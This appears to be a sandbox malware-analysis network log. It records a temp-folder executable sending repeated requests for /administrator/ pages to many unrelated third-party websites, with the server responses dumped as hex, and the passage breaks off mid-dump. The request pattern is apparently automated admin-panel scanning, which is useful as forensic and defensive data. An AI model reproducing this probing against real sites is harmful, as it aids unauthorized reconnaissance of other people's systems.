Dec 20, 2023 03:13:23.047594070 CET	1286	IN	HTTP/1.1 404 Not Found Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 Link: <https://www.tgcan.co.uk/wp-json/>; rel="https://api.w.org/" X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Length: 41957 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 61 76 61 64 61 2d 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 77 69 64 65 20 61 76 61 64 61 2d 68 74 6d 6c 2d 68 65 61 64 65 72 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 09 0a 09 09 0a 09 09 0a 09 09 0a 09 09 0a 09 Data Ascii: <!DOCTYPE html><html class="avada-html-layout-wide avada-html-header-position-top" lang="en-GB" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#"><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page not found – TG Can International</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//www.tgcan.co.uk' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='dns-prefetch' href='//s.w.org' /><link rel="alternate" type="application/rss+xml" title="TG Can International » Feed" href="https://www.tgcan.co.uk/feed/" /><link rel="alternate" type="application/rss+xml" title="TG Can International » Comments Feed" href="https://www.tgcan.co.uk/comments/feed/" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	51397	104.143.9.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.956655979 CET	178	OUT	GET /administrator/ HTTP/1.1 Host: meltonhome.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.129446983 CET	1031	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMLl0RJYcDS0N2xIgi01rOAcEtvCUTUq+IuNz5PA8eXYsfPLRkgnNehO+NbOZAlLoQnSpB5rXuRxRCTF+T1iU9sCAwEAAQ==_FzrU0O/DzPHwhUHqvo1zsrZd6OYhY/CKmMbfkIpM4HkqpULVsnDaZNpBRyCVeu0ugpO2Xos2NXdjGtQoX27wGQ== Content-Encoding: gzip Data Raw: 32 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5d 52 5d 73 a2 30 14 7d f7 57 64 99 d9 a7 56 82 b6 ee 87 a2 33 08 b6 6a 15 fc 80 ae fa b2 13 49 84 28 24 34 44 a8 3a fd ef 0b 62 77 66 f7 e9 de 9c 7b 72 ee bd 67 ae fe c5 72 4c 77 3d 1b 80 a1 3b 9d 80 99 d7 9f 8c 4c a0 d4 21 fc f5 60 42 68 b9 56 55 78 54 b5 06 70 05 62 29 95 94 33 14 41 38 b0 15 a0 84 52 26 6d 08 f3 3c 57 f3 07 95 8b 00 ba 0b 18 ca 38 7a 84 11 e7 29 51 b1 c4 4a af a6 97 10 c0 48 a2 3a c2 db 88 fb 87 03 39 75 95 e9 53 9e 5b f3 f5 f8 85 6f 46 61 e6 db c6 7c d0 ef cf 0d 6b 99 1b f9 d2 18 f7 8d e9 24 d2 16 e3 b5 6f 2d 35 bb f9 3e 0a a8 d6 10 8e e1 0f 64 66 7a ae f7 76 37 3a da e7 d6 cc f8 41 56 eb 74 37 9b 2c 0e 01 b3 49 e8 dc d9 5b 67 63 44 13 3e 67 cb a4 df 12 ab e3 e2 7d 61 ba 4f 77 6e 83 7a 3f 53 d3 c8 07 86 31 ef 76 7f 3f 9d 85 a7 39 d0 3a cf 86 79 e8 0d df 32 de 38 a7 62 83 bf 39 eb 70 0d cd 97 78 ba dd 1d 46 c9 f4 71 78 78 4b bc c9 6b ca 2c b4 b1 93 fe e2 64 be 92 a3 76 0c 12 a7 b9 e2 69 d3 5e e1 fd b3 9c f3 55 f3 7b fe 5c 08 5f 57 26 08 17 41 52 19 91 5e 4c 22 c9 59 c8 63 a2 fa 3c 06 48 02 8b 0a e2 4b 46 7d 1d 56 94 9a 9e ca 53 19 4b af ee c1 96 e3 d3 3d a0 3b 81 62 02 2e 31 12 01 65 6d ad 93 20 8c 29 0b 8a 6c cb 05 26 a2 48 76 9c c9 7a 4e 68 10 ca 36 65 21 11 54 56 d8 55 ef 3f 88 9e 49 bb a1 69 5f ab e7 0e c5 34 3a fd a5 64 44 48 ea a3 a8 8e 22 1a b0 f6 16 a5 24 a2 8c 74 3e 6e 33 61 9a 81 4b 58 75 ba 8a 7c d4 ca 31 2f 25 a9 fe 89 ab ad ce bf 14 1d de 16 d3 e1 cd 93 f2 53 11 4a 39 8a bb 4a 82 84 64 44 28 a0 a7 c3 02 2b 9d f0 05 4d 24 90 a7 84 74 15 49 de 25 dc a3 0c 55 a8 02 22 c4 82 23 0a 8a d2 b8 40 97 37 34 15 7e f7 f3 1e b5 96 a6 69 2d 35 e3 1c 73 5e 3a 0e f7 29 bc b5 51 f7 a9 52 34 aa c4 ca a1 6e d3 5c cf b6 57 fb 03 4c 68 dc 0b 12 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23f]R]s0}WdV3jI($4D:bwf{rgrLw=;L!`BhVUxTpb)3A8R&m<W8z)QJH:9uS[oFa\|k$o-5>dfzv7:AVt7,I[gcD>g}aOwnz?S1v?9:y28b9pxFqxxKk,dvi^U{\_W&AR^L"Yc<HKF}VSK=;b.1em )l&HvzNh6e!TVU?Ii_4:dDH"$t>n3aKXu\|1/%SJ9JdD(+M$tI%U"#@74~i-5s^:)QR4n\WLh0
Dec 20, 2023 03:13:20.129735947 CET	234	OUT	GET /administrator/index.php HTTP/1.1 Host: meltonhome.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://meltonhome.com/administrator/
Dec 20, 2023 03:13:20.301979065 CET	1031	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMLl0RJYcDS0N2xIgi01rOAcEtvCUTUq+IuNz5PA8eXYsfPLRkgnNehO+NbOZAlLoQnSpB5rXuRxRCTF+T1iU9sCAwEAAQ==_FzrU0O/DzPHwhUHqvo1zsrZd6OYhY/CKmMbfkIpM4HkqpULVsnDaZNpBRyCVeu0ugpO2Xos2NXdjGtQoX27wGQ== Content-Encoding: gzip Data Raw: 32 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5d 52 5d 73 a2 30 14 7d f7 57 64 99 d9 a7 56 82 b6 ee 87 a2 33 08 b6 6a 15 fc 80 ae fa b2 13 49 84 28 24 34 44 a8 3a fd ef 0b 62 77 66 f7 e9 de 9c 7b 72 ee bd 67 ae fe c5 72 4c 77 3d 1b 80 a1 3b 9d 80 99 d7 9f 8c 4c a0 d4 21 fc f5 60 42 68 b9 56 55 78 54 b5 06 70 05 62 29 95 94 33 14 41 38 b0 15 a0 84 52 26 6d 08 f3 3c 57 f3 07 95 8b 00 ba 0b 18 ca 38 7a 84 11 e7 29 51 b1 c4 4a af a6 97 10 c0 48 a2 3a c2 db 88 fb 87 03 39 75 95 e9 53 9e 5b f3 f5 f8 85 6f 46 61 e6 db c6 7c d0 ef cf 0d 6b 99 1b f9 d2 18 f7 8d e9 24 d2 16 e3 b5 6f 2d 35 bb f9 3e 0a a8 d6 10 8e e1 0f 64 66 7a ae f7 76 37 3a da e7 d6 cc f8 41 56 eb 74 37 9b 2c 0e 01 b3 49 e8 dc d9 5b 67 63 44 13 3e 67 cb a4 df 12 ab e3 e2 7d 61 ba 4f 77 6e 83 7a 3f 53 d3 c8 07 86 31 ef 76 7f 3f 9d 85 a7 39 d0 3a cf 86 79 e8 0d df 32 de 38 a7 62 83 bf 39 eb 70 0d cd 97 78 ba dd 1d 46 c9 f4 71 78 78 4b bc c9 6b ca 2c b4 b1 93 fe e2 64 be 92 a3 76 0c 12 a7 b9 e2 69 d3 5e e1 fd b3 9c f3 55 f3 7b fe 5c 08 5f 57 26 08 17 41 52 19 91 5e 4c 22 c9 59 c8 63 a2 fa 3c 06 48 02 8b 0a e2 4b 46 7d 1d 56 94 9a 9e ca 53 19 4b af ee c1 96 e3 d3 3d a0 3b 81 62 02 2e 31 12 01 65 6d ad 93 20 8c 29 0b 8a 6c cb 05 26 a2 48 76 9c c9 7a 4e 68 10 ca 36 65 21 11 54 56 d8 55 ef 3f 88 9e 49 bb a1 69 5f ab e7 0e c5 34 3a fd a5 64 44 48 ea a3 a8 8e 22 1a b0 f6 16 a5 24 a2 8c 74 3e 6e 33 61 9a 81 4b 58 75 ba 8a 7c d4 ca 31 2f 25 a9 fe 89 ab ad ce bf 14 1d de 16 d3 e1 cd 93 f2 53 11 4a 39 8a bb 4a 82 84 64 44 28 a0 a7 c3 02 2b 9d f0 05 4d 24 90 a7 84 74 15 49 de 25 dc a3 0c 55 a8 02 22 c4 82 23 0a 8a d2 b8 40 97 37 34 15 7e f7 f3 1e b5 96 a6 69 2d 35 e3 1c 73 5e 3a 0e f7 29 bc b5 51 f7 a9 52 34 aa c4 ca a1 6e d3 5c cf b6 57 fb 03 4c 68 dc 0b 12 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23f]R]s0}WdV3jI($4D:bwf{rgrLw=;L!`BhVUxTpb)3A8R&m<W8z)QJH:9uS[oFa\|k$o-5>dfzv7:AVt7,I[gcD>g}aOwnz?S1v?9:y28b9pxFqxxKk,dvi^U{\_W&AR^L"Yc<HKF}VSK=;b.1em )l&HvzNh6e!TVU?Ii_4:dDH"$t>n3aKXu\|1/%SJ9JdD(+M$tI%U"#@74~i-5s^:)QR4n\WLh0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	51546	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.010417938 CET	179	OUT	GET /administrator/ HTTP/1.1 Host: ecochild.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.193691015 CET	1286	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 X-Frame-Options: DENY X-ShopId: 7475083 X-ShardId: 60 Location: https://www.ecochild.com.au/administrator Server-Timing: processing;dur=20 X-Shopify-Stage: production Content-Security-Policy: frame-ancestors 'none'; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=0349f1e4-b3d4-44a8-a453-5b6e0e299ae3 X-Content-Type-Options: nosniff X-Download-Options: noopen X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=0349f1e4-b3d4-44a8-a453-5b6e0e299ae3 X-Request-ID: 0349f1e4-b3d4-44a8-a453-5b6e0e299ae3 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GjVSUHDOdd8JDeoalx7DgRs8RZ%2BkQXmWOXOTT80z6w5ePnJjJtbJifdI9Jn6qZW94FuhvJSu5DP65eVz5Mjkx%2BuP7OphlL%2FsiqWR1lFmaP%2FFMYI9Z1VstAzuxg92Twzz5 Data Raw: Data Ascii:
Dec 20, 2023 03:13:20.193701982 CET	246	IN	Data Raw: 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 Data Ascii: %3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server-Timing: cfRequestDuration;dur=57.999849Server: cloudflareCF-RAY: 83845d906a48099a-MIAalt-svc: h3=":443"; ma=86400
Dec 20, 2023 03:13:20.193711042 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 20, 2023 03:13:22.809046984 CET	548	OUT	GET /administrator/index.php HTTP/1.1 Host: ecochild.com.au Accept: / Accept-Encoding: deflate, gzip Cookie: _shopify_s=45b1ae4b-ea13-4346-a0c4-30ace4b3496e; _shopify_y=986c823c-bca7-4440-8ba4-a7c0f42fd11c; _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.ecochild.com.au/administrator
Dec 20, 2023 03:13:22.982315063 CET	1286	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 X-Frame-Options: DENY X-ShopId: 7475083 X-ShardId: 60 Location: https://www.ecochild.com.au/administrator/index.php Server-Timing: processing;dur=15 X-Shopify-Stage: production Content-Security-Policy: frame-ancestors 'none'; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=b55eed03-60b9-4146-9bf4-1b55210e2927 X-Content-Type-Options: nosniff X-Download-Options: noopen X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=b55eed03-60b9-4146-9bf4-1b55210e2927 X-Request-ID: b55eed03-60b9-4146-9bf4-1b55210e2927 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0bvxDqQEFvYpnbkQ125IPuQjI29Nw2ljUDV3fhCMfmOG54YjMrWPVShjNZ3Qxq2XoYkb%2F1TdSD4o%2FWneDjJxJjDmyvDYxUydPolVgru9cs9p9G3Euh%2Fp%2Fvl Data Raw: Data Ascii:
Dec 20, 2023 03:13:22.982342958 CET	258	IN	Data Raw: 78 51 79 6c 63 34 52 25 32 42 39 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 Data Ascii: xQylc4R%2B9A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server-Timing: cfRequestDuration;dur=46.999931Server: cloudflareCF-RAY: 83845da1e9e8099a-MIAalt-svc: h3=":443
Dec 20, 2023 03:13:22.982362986 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	51484	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.014733076 CET	178	OUT	GET /administrator/ HTTP/1.1 Host: orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.247334003 CET	841	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Length: 0 Connection: keep-alive location: https://www.orangutech.com/administrator strict-transport-security: max-age=3600 x-wix-request-id: 1703038400.0861654950823128515 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLjBdxec7r7DHGEpZo2ij+25kavE0ZtMXws1mfakihq4B,2d58ifebGbosy5xc+FRaluPkeIpPdwu4Iv014VqEx8Q3E8nWvpVAOXz6+AoQ2Nadal/nkzoo6GPY7rAD3fV5Fg==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,B2HPMCIG9x5ElbweWMTLuZAXTJ+RmG9RN2SHzR2dsXs=,0gGrL7iazMoiuqlb7dEO3ZTAHCMd5QvOt4Q/QkJDDvluYlB0oNjWRakq95Ydu03BnrtAnGCR4oPxQqwLMFI7ng== Cache-Control: no-cache X-Content-Type-Options: nosniff
Dec 20, 2023 03:13:22.905853033 CET	238	OUT	GET /administrator/index.php HTTP/1.1 Host: orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.orangutech.com/administrator
Dec 20, 2023 03:13:23.091491938 CET	851	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Length: 0 Connection: keep-alive location: https://www.orangutech.com/administrator/index.php strict-transport-security: max-age=3600 x-wix-request-id: 1703038402.9751654950823228515 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLjBdxec7r7DHGEpZo2ij+25kavE0ZtMXws1mfakihq4B,2d58ifebGbosy5xc+FRalv//A71UTHA8zBn3qrrYJhirRHE0P2MqKt+/7CrwPvcWcmX6lWjNTcU5p3zYz/P9rw==,2UNV7KOq4oGjA5+PKsX47HWShCS4DzdxDWECJm/3qSgfbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,B2HPMCIG9x5ElbweWMTLuZAXTJ+RmG9RN2SHzR2dsXs=,0gGrL7iazMoiuqlb7dEO3ZTAHCMd5QvOt4Q/QkJDDvluYlB0oNjWRakq95Ydu03BnrtAnGCR4oPxQqwLMFI7ng== Cache-Control: no-cache X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	51134	103.20.214.243	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.049411058 CET	178	OUT	GET /administrator/ HTTP/1.1 Host: bookmyrace.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.448142052 CET	847	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 668 Connection: keep-alive Server: null Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 62 6f 6f 6b 6d 79 72 61 63 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@bookmyrace.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Dec 20, 2023 03:13:20.459863901 CET	234	OUT	GET /administrator/index.php HTTP/1.1 Host: bookmyrace.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://bookmyrace.com/administrator/
Dec 20, 2023 03:13:20.856930017 CET	847	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 668 Connection: keep-alive Server: null Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 